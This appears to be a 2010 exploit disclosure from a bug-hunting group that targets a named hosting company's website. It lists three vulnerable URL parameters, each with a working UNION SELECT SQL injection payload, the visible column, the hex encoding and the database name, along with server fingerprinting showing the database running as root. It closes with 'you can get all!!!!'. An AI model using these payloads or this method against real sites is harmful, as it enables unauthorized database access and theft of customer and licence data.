+===============================================================================+
+          Copyright  2008 HostFriendz.com  & SQL INJECTION                     +
+===============================================================================+


Author(s): Ivan Sanchez 

Product: Copyright 2008 HostFriendz

Web: http://hostnomi.net/


Versions: All version  


Date: 24/05/2010


http://hostnomi.net/about.php?q=7
 

   

Software Development HOSTFRIENDZ group of companies started as a software development firm. 
Qualified and experienced staff has completed numerous software projects using Oracle, MS Access, 
FoxPro and MS SQL Server among others. Front-end interfaces have been developed using Visual Basic, 
FoxPro suite, Clipper and other development tools. 
Our experienced programmers work hands in hands with Chartered Accountants to develop accounting and 
management software. 


GOOGLE DORKS:
------------

N/A



General information:
---------------------


Server = Microsoft-IIS/6.0
Version = 5.0.45-community-nt
Powered by = ASP.NET,PHP/5.1.2
Current User = root@localhost
Current Database = newdb
Supports Union = YES YES YES



Some urls affected  (you have more...)
--------------------


http://hostnomi.net/cmsdetail.php?cmsid=[SLQ INJECTION]
http://hostnomi.net/services.php?q=[SLQ INJECTION]
http://hostnomi.net/detail.php?spid=[SLQ INJECTION]



Sql Injection:
----------------
1)

Vuln: http://hostnomi.net/detail.php?spid=44+and+1=0+ Union Select  1 , UNHEX(HEX([visible])) ,3,4,5


Comment: --

Visible Column: 2

Hexed: True


Database:hostnomi

2)


Vuln: http://hostnomi.net/services.php?q=8+and+1=0+ Union Select  1 ,2, UNHEX(HEX([visible])) 


Comment: --

Visible Column: 3

Hexed: True



Database:license_key

3)

Vuln: http://hostnomi.net/cmsdetail.php?cmsid=93+and+1=0+ Union Select  1 ,2,3, UNHEX(HEX([visible])) 

Comment: --

Visible Column: 4

Hexed: True

 

Database:newdb



-------------------------------

be aware ,take care....  you can get all!!!!


MANY THANKS MASTERGIPY, BECAUSE YOUR BUG REPORTED  OPENED MY MIND!





        NULL CODE SERVICES [ www.nullcode.com.ar ] Hunting Security Bugs!
+===============================================================================+
+          Copyright  2008 HostFriendz.com  & SQL INJECTION                     +
+===============================================================================+